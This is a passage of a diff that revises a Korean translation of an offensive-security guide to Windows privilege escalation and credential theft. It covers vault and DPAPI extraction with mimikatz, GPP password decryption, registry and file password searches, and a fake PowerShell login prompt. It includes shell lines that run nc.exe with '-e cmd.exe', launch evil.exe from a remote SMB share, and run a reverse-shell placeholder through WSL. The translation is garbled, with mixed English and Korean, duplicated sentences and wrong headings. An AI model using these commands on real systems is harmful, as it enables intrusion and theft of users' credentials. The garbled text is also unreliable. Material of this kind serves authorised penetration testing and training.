포트를 리스닝할 때 GUI를 통해 `nc`를 방화벽에서 허용할지 묻습니다). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -루트로 bash를 쉽게 시작하려면 `--default-user root`를 시도해 보세요 +간편하게 bash를 root로 시작하려면 `--default-user root`를 시도해보세요 다음 폴더에서 `WSL` 파일시스템을 탐색할 수 있습니다: `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` @@ -731,16 +740,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### 자격 증명 관리자 / Windows Vault +### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장하며, 이는 **Windows**가 **사용자를 자동으로 로그인시킬 수** 있음을 의미합니다. 처음 보면 사용자가 Facebook, Twitter, Gmail 등의 자격 증명을 저장해 브라우저에서 자동으로 로그인하는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다. +출처: [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격증명을 저장하며, 이는 **Windows**가 **log in the users automaticall**y 할 수 있는 경우에 해당합니다. 언뜻 보면 사용자가 Facebook 자격증명, Twitter 자격증명, Gmail 자격증명 등을 저장해 브라우저를 통해 자동으로 로그인하게 할 수 있다고 생각할 수 있지만, 그렇지 않습니다. -Windows Vault는 Windows가 사용자를 자동으로 로그인시킬 수 있는 자격 증명을 저장합니다. 즉, 리소스(서버 또는 웹사이트)에 접근하기 위해 자격 증명이 필요한 모든 **Windows application that needs credentials to access a resource**는 이 **Credential Manager**와 Windows Vault를 이용해 제공된 자격 증명을 사용하여 사용자가 매번 사용자명과 비밀번호를 입력하지 않도록 할 수 있습니다. +Windows Vault는 Windows가 사용자를 자동으로 로그인시킬 수 있는 자격증명을 저장합니다. 이는 어떤 **Windows application that needs credentials to access a resource** (서버나 웹사이트)도 **can make use of this Credential Manager** 및 Windows Vault를 이용해 사용자가 매번 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격증명을 사용할 수 있다는 뜻입니다. -애플리케이션이 Credential Manager와 상호작용하지 않는다면, 특정 리소스에 대한 자격 증명을 그들이 사용할 수 없을 것이라고 생각합니다. 따라서 애플리케이션이 vault를 사용하려면 기본 저장 vault에서 해당 리소스의 자격 증명을 얻기 위해 어떻게든 **credential manager와 통신하고 해당 리소스의 자격 증명을 요청해야 합니다**. +애플리케이션이 Credential Manager와 상호작용하지 않는 한 특정 자원에 대한 자격증명을 사용할 수 없을 것입니다. 따라서 애플리케이션이 vault를 사용하려면 기본 저장 vault에서 해당 자원의 자격증명을 요청하기 위해 어떻게든 **communicate with the credential manager and request the credentials for that resource**해야 합니다. -시스템에 저장된 자격 증명을 나열하려면 `cmdkey`를 사용하세요. +`cmdkey`를 사용하여 머신에 저장된 자격증명을 나열하세요. ```bash cmdkey /list Currently stored credentials: @@ -748,48 +757,49 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -그런 다음 저장된 자격 증명을 사용하려면 `runas`에 `/savecred` 옵션을 함께 사용할 수 있습니다. 다음 예제는 SMB 공유를 통해 원격 바이너리를 호출합니다. +그런 다음 저장된 자격 증명을 사용하려면 `runas`를 `/savecred` 옵션과 함께 사용할 수 있습니다. 다음 예제는 SMB 공유를 통해 원격 바이너리를 호출하는 예입니다. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -제공된 자격 증명 세트로 `runas` 사용하기. +제공된 credential 세트를 사용하여 `runas` 실행. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -참고: mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), 또는 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), 또는 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)에서 가져올 수 있다는 점에 유의하세요. ### DPAPI -The **Data Protection API (DPAPI)**는 데이터의 대칭 암호화를 위한 방법을 제공하며, 주로 Windows 운영 체제 내에서 비대칭 개인 키의 대칭 암호화에 사용됩니다. 이 암호화는 엔트로피에 크게 기여하는 사용자 또는 시스템 비밀을 활용합니다. +**Data Protection API (DPAPI)**는 데이터의 대칭 암호화를 위한 방법을 제공하며, 주로 Windows 운영체제에서 비대칭 개인키들의 대칭 암호화에 사용됩니다. 이 암호화는 엔트로피에 크게 기여하는 사용자 또는 시스템 비밀을 활용합니다. -**DPAPI는 사용자의 로그인 비밀에서 파생된 대칭 키를 통해 키를 암호화할 수 있게 합니다**. 시스템 암호화의 경우에는 시스템의 도메인 인증 비밀을 사용합니다. +**DPAPI는 사용자의 로그인 비밀에서 유도된 대칭 키를 통해 키를 암호화할 수 있게 합니다**. 시스템 암호화의 경우 시스템의 도메인 인증 비밀을 사용합니다. -DPAPI를 사용한 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉터리에 저장되며, 여기서 `{SID}`는 사용자의 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)를 의미합니다. **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, 일반적으로 64바이트의 무작위 데이터로 구성됩니다. (이 디렉터리에 대한 접근은 제한되어 있어 CMD에서 `dir` 명령으로 내용을 나열할 수 없지만 PowerShell을 통해서는 나열할 수 있다는 점에 유의해야 합니다). +DPAPI를 사용해 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉터리에 저장되며, 여기서 `{SID}`는 사용자의 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **동일 파일에 사용자의 개인 키를 보호하는 마스터 키와 함께 저장되는 DPAPI 키는** 일반적으로 64바이트의 랜덤 데이터로 구성됩니다. (이 디렉터리에 대한 접근이 제한되어 있어 CMD의 `dir` 명령으로는 내용을 나열할 수 없지만 PowerShell에서는 나열할 수 있다는 점에 유의하세요.) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -**mimikatz module** `dpapi::masterkey`를 적절한 인자(`/pvk` 또는 `/rpc`)와 함께 사용하여 복호화할 수 있습니다. +적절한 인자(`/pvk` 또는 `/rpc`)와 함께 **mimikatz module** `dpapi::masterkey`를 사용하여 이를 복호화할 수 있습니다. -**마스터 암호로 보호된 credentials 파일**은 일반적으로 다음 위치에 있습니다: +**마스터 암호로 보호된 credentials files**는 일반적으로 다음 위치에 있습니다: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ -루트 권한이 있으면 `sekurlsa::dpapi` 모듈을 사용하여 **memory**에서 많은 DPAPI **masterkeys**를 추출할 수 있습니다. +적절한 `/masterkey`를 이용해 **mimikatz module** `dpapi::cred`로 decrypt할 수 있다.\ +루트 권한이 있다면 `sekurlsa::dpapi` module으로 **memory**에서 **extract many DPAPI** **masterkeys**를 추출할 수 있다. + {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell Credentials +### PowerShell 자격 증명 -**PowerShell credentials**는 암호화된 자격증명을 편리하게 저장하기 위한 방법으로 **scripting** 및 자동화 작업에서 자주 사용됩니다. 이 자격증명은 **DPAPI**로 보호되며, 일반적으로 생성된 동일한 컴퓨터에서 동일한 사용자만 복호화할 수 있습니다. +**PowerShell credentials**는 일반적으로 **scripting** 및 자동화 작업에서 암호화된 자격 증명을 편리하게 저장하는 용도로 자주 사용된다. 해당 자격 증명은 **DPAPI**로 보호되며, 일반적으로 생성된 동일한 사용자 및 동일한 컴퓨터에서만 decrypted될 수 있다. -To **복호화** a PS credentials from the file containing it you can do: +파일에 들어있는 PS credentials를 **decrypt**하려면 다음과 같이 하면 된다: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -811,7 +821,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### 저장된 RDP 연결 -다음 위치에서 찾을 수 있습니다: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +다음 위치에서 확인할 수 있습니다: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ 및 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### 최근 실행된 명령 @@ -823,27 +833,27 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -적절한 `/masterkey`와 함께 **Mimikatz** `dpapi::rdg` 모듈을 사용하여 **모든 .rdg 파일을 복호화**할 수 있습니다.\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module -Mimikatz `sekurlsa::dpapi` 모듈로 메모리에서 **여러 DPAPI masterkeys를 추출**할 수 있습니다. +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files`\ +적절한 `/masterkey`를 사용하여 **Mimikatz** `dpapi::rdg` 모듈로 모든 .rdg 파일을 **복호화**하세요.\ +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +Mimikatz `sekurlsa::dpapi` 모듈을 사용하면 메모리에서 많은 DPAPI masterkeys를 **추출**할 수 있습니다. ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. -사람들은 Windows 워크스테이션에서 StickyNotes 앱을 데이터베이스 파일이라는 사실을 모른 채 **비밀번호를 저장**하거나 기타 정보를 보관하는 경우가 많습니다. -This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. -이 파일은 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` 경로에 위치하며 항상 찾아보고 검사할 가치가 있습니다. +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. +사람들은 종종 Windows 워크스테이션에서 StickyNotes 앱을 데이터베이스 파일인 것을 모른 채 **비밀번호를 저장**하거나 기타 정보를 기록하는 데 사용합니다. 이 파일은 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`에 위치하며 항상 찾아보고 검사할 가치가 있습니다. ### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ **AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -**AppCmd.exe**는 `%systemroot%\system32\inetsrv\` 디렉터리에 위치합니다.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -이 파일이 존재하면 일부 **credentials**가 구성되어 **복구**될 가능성이 있습니다. +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +**AppCmd.exe**에서 비밀번호를 복구하려면 관리자 권한으로 실행하고 높은 무결성(High Integrity) 수준에서 실행해야 한다는 점을 유의하세요.\ +**AppCmd.exe**는 `%systemroot%\system32\inetsrv\` 디렉터리에 있습니다.\ +이 파일이 존재하면 일부 **credentials**가 구성되어 있고 **복구**될 가능성이 있습니다. -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +이 코드는 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)에서 추출되었습니다: ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -923,8 +933,8 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -`C:\Windows\CCM\SCClient.exe`가 존재하는지 확인하세요. -인스톨러는 **run with SYSTEM privileges**, 많은 인스톨러가 **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +해당 경로에 `C:\Windows\CCM\SCClient.exe` 가 존재하는지 확인하세요 .\ +설치 프로그램은 **run with SYSTEM privileges**, 많은 설치 프로그램이 **DLL Sideloading (정보 출처** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -936,27 +946,27 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Host Keys +### Putty SSH 호스트 키 ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### 레지스트리의 SSH 키 -SSH 개인 키는 레지스트리 키 `HKCU\Software\OpenSSH\Agent\Keys` 안에 저장될 수 있으므로, 그 안에 흥미로운 것이 있는지 확인해야 합니다: +SSH 개인 키는 레지스트리 키 `HKCU\Software\OpenSSH\Agent\Keys`에 저장될 수 있으므로, 그 안에 흥미로운 항목이 있는지 확인해야 합니다: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -해당 경로에서 항목을 찾으면 대개 저장된 SSH 키일 가능성이 높습니다. 해당 키는 암호화되어 저장되지만 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)를 사용하면 쉽게 복호화할 수 있습니다.\ -이 기법에 대한 자세한 정보는 다음 링크 참조: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +해당 경로에서 항목을 발견하면 대부분 저장된 SSH 키일 가능성이 큽니다. 암호화되어 저장되지만 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)를 사용하면 쉽게 복호화할 수 있습니다.\ +이 기술에 대한 자세한 정보: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -만약 `ssh-agent` 서비스가 실행 중이 아니고 부팅 시 자동으로 시작되게 하려면 다음을 실행하세요: +If `ssh-agent` service is not running and you want it to automatically start on boot run: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> 이 기술은 더 이상 유효하지 않은 것 같습니다. ssh 키를 생성하고 `ssh-add`로 추가한 뒤 ssh로 머신에 로그인해 보았습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys가 존재하지 않았고 procmon은 비대칭 키 인증 중 `dpapi.dll`의 사용을 식별하지 못했습니다. - -### 방치된 파일 +> 이 기술은 더 이상 유효하지 않은 것 같습니다. ssh 키를 생성하고 `ssh-add`로 추가한 뒤 ssh로 머신에 로그인해 보았습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys가 존재하지 않으며 procmon은 비대칭 키 인증 과정에서 `dpapi.dll`의 사용을 식별하지 못했습니다. + +### 무인 파일 ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -971,7 +981,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -이 파일들은 **metasploit**을 사용하여 _post/windows/gather/enum_unattend_ 에서도 검색할 수 있습니다. +이 파일들은 **metasploit**을 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_ 예시 내용: ```xml @@ -1014,15 +1024,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -파일 **SiteList.xml**을 찾으세요. +### 캐시된 GPP 패스워드 -### 캐시된 GPP 비밀번호 +이전에 Group Policy Preferences (GPP)를 통해 여러 대의 머신에 사용자 지정 로컬 관리자 계정을 배포할 수 있는 기능이 있었습니다. 그러나 이 방법에는 심각한 보안 결함이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 도메인의 모든 사용자가 접근할 수 있었습니다. 둘째, 이러한 GPP 내의 암호는 공개 문서화된 기본 키를 사용해 AES256으로 암호화되어 있었지만, 인증된 어떤 사용자라도 이를 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 얻을 수 있게 할 수 있어 심각한 위험을 초래했습니다. -이전에는 Group Policy Preferences (GPP)를 통해 여러 대의 시스템에 사용자 지정 로컬 관리자 계정을 배포할 수 있는 기능이 있었습니다. 그러나 이 방법에는 심각한 보안 취약점이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장되는 Group Policy Objects (GPOs)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 이러한 GPP들 내부의 비밀번호는 공개 문서화된 기본 키를 사용하여 AES256으로 암호화되어 있었고, 인증된 사용자라면 누구나 이를 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 할 수 있게 할 위험을 초래했습니다. +이 위험을 완화하기 위해, "cpassword" 필드가 비어 있지 않은 로컬에 캐시된 GPP 파일을 검색하는 함수가 개발되었습니다. 해당 파일을 찾으면 함수는 암호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP 및 파일 위치에 대한 세부 정보가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다. -이 위험을 완화하기 위해, 로컬에 캐시된 GPP 파일 중 "cpassword" 필드가 비어 있지 않은 파일을 스캔하는 함수가 개발되었습니다. 해당 파일을 찾으면 함수는 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체는 GPP 및 파일 위치에 대한 세부 정보를 포함하여 이 보안 취약점을 식별하고 수정하는 데 도움을 줍니다. - -다음 경로에서 검색하세요: `C:\ProgramData\Microsoft\Group Policy\history` 또는 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista 이전)_ 에서 다음 파일들을 찾으십시오: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1036,11 +1044,11 @@ AppData\Roaming\gcloud\access_tokens.db #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec를 사용하여 passwords를 얻기: +crackmapexec을 사용하여 passwords를 얻기: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS 웹 구성 +### IIS Web 구성 ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1054,7 +1062,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -자격증명이 포함된 web.config 예: +자격 증명이 포함된 web.config 예시: ```xml @@ -1092,9 +1100,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### 자격 증명 요청 +### credentials 요청 -사용자가 알고 있을 것 같으면 언제든지 **사용자에게 본인 또는 다른 사용자의 credentials를 입력하도록 요청할 수 있습니다** (주의: 클라이언트에게 직접 **묻는 것**으로 **credentials**를 요구하는 것은 정말 **위험**합니다): +그가 알 수 있을 것 같다고 생각되면 항상 **사용자에게 자신의 credentials 또는 심지어 다른 사용자의 credentials를 입력하도록 요청할 수 있습니다** (주의: 클라이언트에게 직접 **요청**하여 **credentials**를 요구하는 것은 정말 **위험**합니다): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1102,9 +1110,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **credentials를 포함할 수 있는 가능한 파일명** +### **credentials를 포함할 가능성이 있는 파일명** -과거에 **passwords**가 **clear-text** 또는 **Base64**로 포함되어 있었던 것으로 알려진 파일들 +과거에 **passwords**가 **clear-text** 또는 **Base64**로 포함되어 있었던 알려진 파일들 ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1177,15 +1185,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin의 자격 증명 +### 휴지통의 자격 증명 -또한 Bin을 확인하여 내부의 자격 증명을 찾아보아야 합니다 +휴지통도 확인하여 그 안에 자격 증명이 있는지 확인하세요 -여러 프로그램에 저장된 **비밀번호를 복구하려면** 다음을 사용할 수 있습니다: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +여러 프로그램에 저장된 **비밀번호를 복구**하려면 다음을 사용할 수 있습니다: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### 레지스트리 내부 -**자격 증명을 포함할 수 있는 다른 레지스트리 키들** +**자격 증명을 포함할 수 있는 기타 레지스트리 키** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1194,10 +1202,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### 브라우저 히스토리 +### 브라우저 기록 -**Chrome or Firefox**의 비밀번호가 저장된 db들을 확인해야 합니다.\ -또한 브라우저의 히스토리, 북마크 및 즐겨찾기도 확인하세요 — 거기에 일부 **비밀번호가** 저장되어 있을 수 있습니다. +**Chrome** 또는 **Firefox**에 비밀번호가 저장된 db를 확인해야 합니다. +또한 브라우저의 히스토리, 북마크 및 즐겨찾기도 확인하세요 — 그곳에 비밀번호가 저장되어 있을 수 있습니다. 브라우저에서 비밀번호를 추출하는 도구: @@ -1208,23 +1216,24 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL Overwriting** -**Component Object Model (COM)**은 Windows 운영체제에 내장된 기술로, 서로 다른 언어로 작성된 소프트웨어 컴포넌트 간의 **상호 통신**을 가능하게 합니다. 각 COM 컴포넌트는 **class ID (CLSID)**로 식별되며, 각 컴포넌트는 하나 이상의 인터페이스를 통해 기능을 노출하는데, 이러한 인터페이스는 **interface ID (IID)**로 식별됩니다. +**Component Object Model (COM)**은 Windows 운영체제에 내장된 기술로, 서로 다른 언어로 작성된 소프트웨어 컴포넌트 간의 **intercommunication**을 가능하게 합니다. 각 COM 컴포넌트는 **identified via a class ID (CLSID)**로 식별되며, 각 컴포넌트는 하나 이상의 인터페이스를 통해 기능을 노출하고, 이러한 인터페이스는 interface IDs (IIDs)로 식별됩니다. -COM 클래스와 인터페이스는 레지스트리의 **HKEY\CLASSES\ROOT\CLSID** 및 **HKEY\CLASSES\ROOT\Interface** 아래에 정의됩니다. 이 레지스트리는 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 를 병합하여 생성된 **HKEY\CLASSES\ROOT** 입니다. +COM 클래스와 인터페이스는 레지스트리의 **HKEY\CLASSES\ROOT\CLSID** 및 **HKEY\CLASSES\ROOT\Interface** 아래에 정의되어 있습니다. 이 레지스트리는 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 를 병합하여 생성된 **HKEY\CLASSES\ROOT** 입니다. -이 레지스트리의 CLSID 내에는 자식 레지스트리인 **InProcServer32**를 찾을 수 있으며, 이곳에는 **default value**로 DLL을 가리키는 값과 **ThreadingModel**이라는 값이 들어 있습니다. ThreadingModel은 **Apartment**(단일 스레드), **Free**(다중 스레드), **Both**(단일 또는 다중) 또는 **Neutral**(스레드 중립)일 수 있습니다. +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -기본적으로, 실행될 DLL들 중 어느 하나를 **overwrite any of the DLLs**할 수 있다면, 해당 DLL이 다른 사용자에 의해 실행될 경우 **escalate privileges**할 수 있습니다. +기본적으로, 실행될 어떤 DLL이라도 **overwrite any of the DLLs**할 수 있다면, 그 DLL이 다른 사용자에 의해 실행될 경우 **escalate privileges**할 수 있습니다. + +To learn how attackers use COM Hijacking as a persistence mechanism check: -공격자들이 COM Hijacking을 persistence 메커니즘으로 어떻게 사용하는지 알아보려면 다음을 확인하세요: {{#ref}} com-hijacking.md {{#endref}} -### **파일 및 레지스트리에서의 일반적인 비밀번호 검색** +### 일반적인 파일 및 레지스트리 내 비밀번호 검색 **파일 내용 검색** ```bash @@ -1232,13 +1241,13 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**특정 파일 이름을 가진 파일 검색** +**특정 파일 이름으로 파일 검색** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**레지스트리에서 키 이름과 비밀번호를 검색하세요** +**레지스트리에서 키 이름 및 암호 검색** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1247,11 +1256,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### 비밀번호를 검색하는 도구 -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf 플러그인입니다**. 제가 만든 이 플러그인은 피해자 시스템 내부에서 credentials를 검색하는 모든 metasploit POST module을 **자동으로 실행**하도록 설계되었습니다.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)는 이 페이지에 언급된 비밀번호를 포함한 모든 파일을 자동으로 검색합니다.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne)는 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf 플러그인입니다.** 제가 만든 이 플러그인은 피해자 시스템 내부에서 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행합니다.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 은 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다. -도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher)는 이 데이터를 평문으로 저장하는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)의 **sessions**, **usernames** 및 **passwords**를 검색합니다. +도구 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 는 이러한 데이터를 평문으로 저장하는 여러 도구에서 **sessions**, **usernames** 및 **passwords** 를 검색합니다 (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1267,23 +1276,23 @@ Then, if you have **full access to the low privileged process**, you can grab th ## Named Pipe Client Impersonation -Shared memory segments, referred to as **pipes**, enable process communication and data transfer. +Shared memory segments, referred to as pipes, enable process communication and data transfer. -Windows provides a feature called **Named 